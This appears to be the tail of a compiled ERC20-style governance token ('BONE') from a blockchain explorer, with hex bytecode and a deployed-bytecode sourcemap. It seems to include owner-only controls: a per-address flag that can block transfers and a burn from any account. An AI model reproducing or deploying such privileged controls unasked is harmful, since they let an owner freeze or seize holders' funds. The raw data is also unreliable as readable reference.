0000000000000000000000000000000000000000815260040161197f9190612402565b60405180910390fd5b5082846119959190612d50565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a0d84610843565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b09828483611d08565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e90612df6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590612e88565b60405180910390fd5b81600654611c3c9190612d50565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c919190612d50565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612542565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d445750600081115b15611fb257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e7d576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611de7576000611e54565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3591906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e6b8483611fb790919063ffffffff16565b9050611e7986848484612010565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb1576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f1b576000611f88565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f6991906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611f9f848361137d90919063ffffffff16565b9050611fad85848484612010565b5050505b5b505050565b600082821115611ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff390612ef4565b60405180910390fd5b81836120089190612d50565b905092915050565b60006120344360405180606001604052806034815260200161305860349139612313565b905060008463ffffffff161180156120d257508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761209c91906128da565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561214c5781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212691906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122bc565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561220b9190612f14565b63ffffffff1611612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890612fc0565b60405180910390fd5b60018461225e9190612f14565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612304929190612fe0565b60405180910390a25050505050565b60006401000000008310829061235f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123569190612402565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123a3578082015181840152602081019050612388565b838111156123b2576000848401525b50505050565b6000601f19601f8301169050919050565b60006123d482612369565b6123de8185612374565b93506123ee818560208601612385565b6123f7816123b8565b840191505092915050565b6000602082019050818103600083015261241c81846123c9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245482612429565b9050919050565b61246481612449565b811461246f57600080fd5b50565b6000813590506124818161245b565b92915050565b6000819050919050565b61249a81612487565b81146124a557600080fd5b50565b6000813590506124b781612491565b92915050565b600080604083850312156124d4576124d3612424565b5b60006124e285828601612472565b92505060206124f3858286016124a8565b9150509250929050565b60008115159050919050565b612512816124fd565b82525050565b600060208201905061252d6000830184612509565b92915050565b61253c81612487565b82525050565b60006020820190506125576000830184612533565b92915050565b60008060006060848603121561257657612575612424565b5b600061258486828701612472565b935050602061259586828701612472565b92505060406125a6868287016124a8565b9150509250925092565b600060ff82169050919050565b6125c6816125b0565b82525050565b60006020820190506125e160008301846125bd565b92915050565b6000602082840312156125fd576125fc612424565b5b600061260b84828501612472565b91505092915050565b61261d81612449565b82525050565b60006020820190506126386000830184612614565b92915050565b600063ffffffff82169050919050565b6126578161263e565b82525050565b6000602082019050612672600083018461264e565b92915050565b6000806040838503121561268f5761268e612424565b5b600061269d85828601612472565b92505060206126ae85828601612472565b9150509250929050565b6126c18161263e565b81146126cc57600080fd5b50565b6000813590506126de816126b8565b92915050565b600080604083850312156126fb576126fa612424565b5b600061270985828601612472565b925050602061271a858286016126cf565b9150509250929050565b6000604082019050612739600083018561264e565b6127466020830184612533565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061279457607f821691505b6020821081036127a7576127a661274d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127e3602083612374565b91506127ee826127ad565b602082019050919050565b60006020820190508181036000830152612812816127d6565b9050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612875602783612374565b915061288082612819565b604082019050919050565b600060208201905081810360008301526128a481612868565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128e58261263e565b91506128f08361263e565b925082821015612903576129026128ab565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006129488261263e565b91506129538361263e565b9250826129635761296261290e565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ca602683612374565b91506129d58261296e565b604082019050919050565b600060208201905081810360008301526129f9816129bd565b9050919050565b6000612a0b82612487565b9150612a1683612487565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a4b57612a4a6128ab565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a8c601b83612374565b9150612a9782612a56565b602082019050919050565b60006020820190508181036000830152612abb81612a7f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b1e602483612374565b9150612b2982612ac2565b604082019050919050565b60006020820190508181036000830152612b4d81612b11565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb0602283612374565b9150612bbb82612b54565b604082019050919050565b60006020820190508181036000830152612bdf81612ba3565b9050919050565b50565b6000612bf6600083612374565b9150612c0182612be6565b600082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c88602583612374565b9150612c9382612c2c565b604082019050919050565b60006020820190508181036000830152612cb781612c7b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d1a602383612374565b9150612d2582612cbe565b604082019050919050565b60006020820190508181036000830152612d4981612d0d565b9050919050565b6000612d5b82612487565b9150612d6683612487565b925082821015612d7957612d786128ab565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612de0602183612374565b9150612deb82612d84565b604082019050919050565b60006020820190508181036000830152612e0f81612dd3565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e72602283612374565b9150612e7d82612e16565b604082019050919050565b60006020820190508181036000830152612ea181612e65565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612ede601e83612374565b9150612ee982612ea8565b602082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b6000612f1f8261263e565b9150612f2a8361263e565b92508263ffffffff03821115612f4357612f426128ab565b5b828201905092915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612faa603683612374565b9150612fb582612f4e565b604082019050919050565b60006020820190508181036000830152612fd981612f9d565b9050919050565b6000604082019050612ff56000830185612533565b6130026020830184612533565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c8eadf4c3f6d004205ba4010b9160085a15e703b968934a633c90634af821d1264736f6c634300080f0033
Deployed Bytecode Sourcemap
15880:6439:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9995:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11157:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9879:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12573:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10197:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11504:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10542:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17581:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17329:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16434:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10296:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10431:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18574:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16067:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10094:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18036:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10669:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11900:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12231:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19987:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10945:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16295:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;8634:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9995:91;10040:13;10073:5;10066:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9995:91;:::o;11157:169::-;11240:4;11257:39;11266:12;:10;:12::i;:::-;11280:7;11289:6;11257:8;:39::i;:::-;11314:4;11307:11;;11157:169;;;;:::o;9879:108::-;9940:7;9967:12;;9960:19;;9879:108;:::o;12573:321::-;12679:4;12696:36;12706:6;12714:9;12725:6;12696:9;:36::i;:::-;12743:121;12752:6;12760:12;:10;:12::i;:::-;12774:89;12812:6;12774:89;;;;;;;;;;;;;;;;;:11;:19;12786:6;12774:19;;;;;;;;;;;;;;;:33;12794:12;:10;:12::i;:::-;12774:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12743:8;:121::i;:::-;12882:4;12875:11;;12573:321;;;;;:::o;10197:91::-;10246:5;10271:9;;;;;;;;;;;10264:16;;10197:91;:::o;11504:218::-;11592:4;11609:83;11618:12;:10;:12::i;:::-;11632:7;11641:50;11680:10;11641:11;:25;11653:12;:10;:12::i;:::-;11641:25;;;;;;;;;;;;;;;:34;11667:7;11641:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11609:8;:83::i;:::-;11710:4;11703:11;;11504:218;;;;:::o;10542:119::-;10611:4;10635:7;:18;10643:9;10635:18;;;;;;;;;;;;;;;;;;;;;;;;;10628:25;;10542:119;;;:::o;17581:117::-;17642:7;17669:10;:21;17680:9;17669:21;;;;;;;;;;;;;;;;;;;;;;;;;17662:28;;17581:117;;;:::o;17329:104::-;17393:32;17403:10;17415:9;17393;:32::i;:::-;17329:104;:::o;16434:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10296:127::-;10370:7;10397:9;:18;10407:7;10397:18;;;;;;;;;;;;;;;;10390:25;;10296:127;;;:::o;10431:103::-;8240:12;:10;:12::i;:::-;8229:23;;:7;:5;:7::i;:::-;:23;;;8221:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10521:5:::1;10500:7;:18;10508:9;10500:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;10431:103:::0;:::o;18574:1212::-;18655:7;18696:12;18682:11;:26;18674:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;18763:19;18785:14;:23;18800:7;18785:23;;;;;;;;;;;;;;;;;;;;;;;;;18763:45;;18839:1;18823:12;:17;;;18819:58;;18864:1;18857:8;;;;;18819:58;18987:11;18935;:20;18947:7;18935:20;;;;;;;;;;;;;;;:38;18971:1;18956:12;:16;;;;:::i;:::-;18935:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;18931:147;;19022:11;:20;19034:7;19022:20;;;;;;;;;;;;;;;:38;19058:1;19043:12;:16;;;;:::i;:::-;19022:38;;;;;;;;;;;;;;;:44;;;19015:51;;;;;18931:147;19173:11;19137;:20;19149:7;19137:20;;;;;;;;;;;;;;;:23;19158:1;19137:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;19133:88;;;19208:1;19201:8;;;;;19133:88;19231:12;19258;19288:1;19273:12;:16;;;;:::i;:::-;19258:31;;19300:428;19315:5;19307:13;;:5;:13;;;19300:428;;;19337:13;19379:1;19370:5;19362;:13;;;;:::i;:::-;19361:19;;;;:::i;:::-;19353:5;:27;;;;:::i;:::-;19337:43;;19422:20;19445:11;:20;19457:7;19445:20;;;;;;;;;;;;;;;:28;19466:6;19445:28;;;;;;;;;;;;;;;19422:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19508:11;19492:2;:12;;;:27;;;19488:229;;19547:2;:8;;;19540:15;;;;;;;;;19488:229;19596:11;19581:2;:12;;;:26;;;19577:140;;;19636:6;19628:14;;19577:140;;;19700:1;19691:6;:10;;;;:::i;:::-;19683:18;;19577:140;19322:406;;19300:428;;;19745:11;:20;19757:7;19745:20;;;;;;;;;;;;;;;:27;19766:5;19745:27;;;;;;;;;;;;;;;:33;;;19738:40;;;;;18574:1212;;;;;:::o;16067:39::-;;;;;;;;;;;;;;;;;:::o;10094:95::-;10141:13;10174:7;10167:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10094:95;:::o;18036:107::-;8240:12;:10;:12::i;:::-;8229:23;;:7;:5;:7::i;:::-;:23;;;8221:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18113:22:::1;18119:7;18128:6;18113:5;:22::i;:::-;18036:107:::0;;:::o;10669:103::-;8240:12;:10;:12::i;:::-;8229:23;;:7;:5;:7::i;:::-;:23;;;8221:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10760:4:::1;10739:7;:18;10747:9;10739:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;10669:103:::0;:::o;11900:269::-;11993:4;12010:129;12019:12;:10;:12::i;:::-;12033:7;12042:96;12081:15;12042:96;;;;;;;;;;;;;;;;;:11;:25;12054:12;:10;:12::i;:::-;12042:25;;;;;;;;;;;;;;;:34;12068:7;12042:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;12010:8;:129::i;:::-;12157:4;12150:11;;11900:269;;;;:::o;12231:175::-;12317:4;12334:42;12344:12;:10;:12::i;:::-;12358:9;12369:6;12334:9;:42::i;:::-;12394:4;12387:11;;12231:175;;;;:::o;19987:222::-;20052:7;20071:19;20093:14;:23;20108:7;20093:23;;;;;;;;;;;;;;;;;;;;;;;;;20071:45;;20149:1;20134:12;:16;;;:67;;20200:1;20134:67;;;20153:11;:20;20165:7;20153:20;;;;;;;;;;;;;;;:38;20189:1;20174:12;:16;;;;:::i;:::-;20153:38;;;;;;;;;;;;;;;:44;;;20134:67;20127:74;;;19987:222;;;:::o;10945:151::-;11034:7;11061:11;:18;11073:5;11061:18;;;;;;;;;;;;;;;:27;11080:7;11061:27;;;;;;;;;;;;;;;;11054:34;;10945:151;;;;:::o;16295:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8634:244::-;8240:12;:10;:12::i;:::-;8229:23;;:7;:5;:7::i;:::-;:23;;;8221:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8743:1:::1;8723:22;;:8;:22;;::::0;8715:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8833:8;8804:38;;8825:6;::::0;::::1;;;;;;;;8804:38;;;;;;;;;;;;8862:8;8853:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;8634:244:::0;:::o;2054:179::-;2112:7;2132:9;2148:1;2144;:5;;;;:::i;:::-;2132:17;;2173:1;2168;:6;;2160:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2224:1;2217:8;;;2054:179;;;;:::o;7196:98::-;7249:7;7276:10;7269:17;;7196:98;:::o;14968:346::-;15087:1;15070:19;;:5;:19;;;15062:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15168:1;15149:21;;:7;:21;;;15141:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15252:6;15222:11;:18;15234:5;15222:18;;;;;;;;;;;;;;;:27;15241:7;15222:27;;;;;;;;;;;;;;;:36;;;;15290:7;15274:32;;15283:5;15274:32;;;15299:6;15274:32;;;;;;:::i;:::-;;;;;;;;14968:346;;;:::o;13019:631::-;13121:7;:18;13129:9;13121:18;;;;;;;;;;;;;;;;;;;;;;;;;:37;;;;13143:7;:15;13151:6;13143:15;;;;;;;;;;;;;;;;;;;;;;;;;13121:37;13117:73;;;13181:4;13168:17;;:9;;;;;;;;;;;:17;;;13160:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;13117:73;13227:1;13209:20;;:6;:20;;;13201:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13311:1;13290:23;;:9;:23;;;13282:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13374:47;13395:6;13403:9;13414:6;13374:20;:47::i;:::-;13454:71;13476:6;13454:71;;;;;;;;;;;;;;;;;:9;:17;13464:6;13454:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;13434:9;:17;13444:6;13434:17;;;;;;;;;;;;;;;:91;;;;13559:32;13584:6;13559:9;:20;13569:9;13559:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13536:9;:20;13546:9;13536:20;;;;;;;;;;;;;;;:55;;;;13624:9;13607:35;;13616:6;13607:35;;;13635:6;13607:35;;;;;;:::i;:::-;;;;;;;;13019:631;;;:::o;3496:166::-;3582:7;3615:1;3610;:6;;3618:12;3602:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3653:1;3649;:5;;;;:::i;:::-;3642:12;;3496:166;;;;;:::o;20217:376::-;20294:23;20320:10;:21;20331:9;20320:21;;;;;;;;;;;;;;;;;;;;;;;;;20294:47;;20352:24;20379:20;20389:9;20379;:20::i;:::-;20352:47;;20435:9;20411:10;:21;20422:9;20411:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;20504:9;20460:54;;20487:15;20460:54;;20476:9;20460:54;;;;;;;;;;;;20525:60;20540:15;20557:9;20568:16;20525:14;:60::i;:::-;20283:310;;20217:376;;:::o;8390:89::-;8438:7;8465:6;;;;;;;;;;;8458:13;;8390:89;:::o;13826:434::-;13929:1;13910:21;;:7;:21;;;13902:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13986:22;14011:9;:18;14021:7;14011:18;;;;;;;;;;;;;;;;13986:43;;14066:6;14048:14;:24;;14040:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14160:6;14149:8;;:17;;;;:::i;:::-;14128:9;:18;14138:7;14128:18;;;;;;;;;;;;;;;:38;;;;14193:6;14177:12;;:22;;;;;;;:::i;:::-;;;;;;;;14241:1;14215:37;;14224:7;14215:37;;;14245:6;14215:37;;;;;;:::i;:::-;;;;;;;;13891:369;13826:434;;:::o;15781:92::-;;;;:::o;21369:947::-;21475:6;21465:16;;:6;:16;;;;:30;;;;;21494:1;21485:6;:10;21465:30;21461:848;;;21534:1;21516:20;;:6;:20;;;21512:385;;21605:16;21624:14;:22;21639:6;21624:22;;;;;;;;;;;;;;;;;;;;;;;;;21605:41;;21665:17;21697:1;21685:9;:13;;;:60;;21744:1;21685:60;;;21701:11;:19;21713:6;21701:19;;;;;;;;;;;;;;;:34;21733:1;21721:9;:13;;;;:::i;:::-;21701:34;;;;;;;;;;;;;;;:40;;;21685:60;21665:80;;21764:17;21784:21;21798:6;21784:9;:13;;:21;;;;:::i;:::-;21764:41;;21824:57;21841:6;21849:9;21860;21871;21824:16;:57::i;:::-;21538:359;;;21512:385;21935:1;21917:20;;:6;:20;;;21913:385;;22006:16;22025:14;:22;22040:6;22025:22;;;;;;;;;;;;;;;;;;;;;;;;;22006:41;;22066:17;22098:1;22086:9;:13;;;:60;;22145:1;22086:60;;;22102:11;:19;22114:6;22102:19;;;;;;;;;;;;;;;:34;22134:1;22122:9;:13;;;;:::i;:::-;22102:34;;;;;;;;;;;;;;;:40;;;22086:60;22066:80;;22165:17;22185:21;22199:6;22185:9;:13;;:21;;;;:::i;:::-;22165:41;;22225:57;22242:6;22250:9;22261;22272;22225:16;:57::i;:::-;21939:359;;;21913:385;21461:848;21369:947;;;:::o;2745:158::-;2803:7;2836:1;2831;:6;;2823:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2894:1;2890;:5;;;;:::i;:::-;2883:12;;2745:158;;;;:::o;20601:760::-;20723:18;20744:76;20751:12;20744:76;;;;;;;;;;;;;;;;;:6;:76::i;:::-;20723:97;;20852:1;20837:12;:16;;;:85;;;;;20911:11;20857:65;;:11;:22;20869:9;20857:22;;;;;;;;;;;;;;;:40;20895:1;20880:12;:16;;;;:::i;:::-;20857:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;20837:85;20833:452;;;20988:8;20939:11;:22;20951:9;20939:22;;;;;;;;;;;;;;;:40;20977:1;20962:12;:16;;;;:::i;:::-;20939:40;;;;;;;;;;;;;;;:46;;:57;;;;20833:452;;;21068:33;;;;;;;;21079:11;21068:33;;;;;;21092:8;21068:33;;;21029:11;:22;21041:9;21029:22;;;;;;;;;;;;;;;:36;21052:12;21029:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21143:12;21124:31;;21139:1;21124:12;:16;;;;:::i;:::-;:31;;;21116:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;21272:1;21257:12;:16;;;;:::i;:::-;21229:14;:25;21244:9;21229:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;20833:452;21323:9;21302:51;;;21334:8;21344;21302:51;;;;;;;:::i;:::-;;;;;;;;20712:649;20601:760;;;;:::o;17706:161::-;17781:6;17812:5;17808:1;:9;17819:12;17800:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;17857:1;17843:16;;17706:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770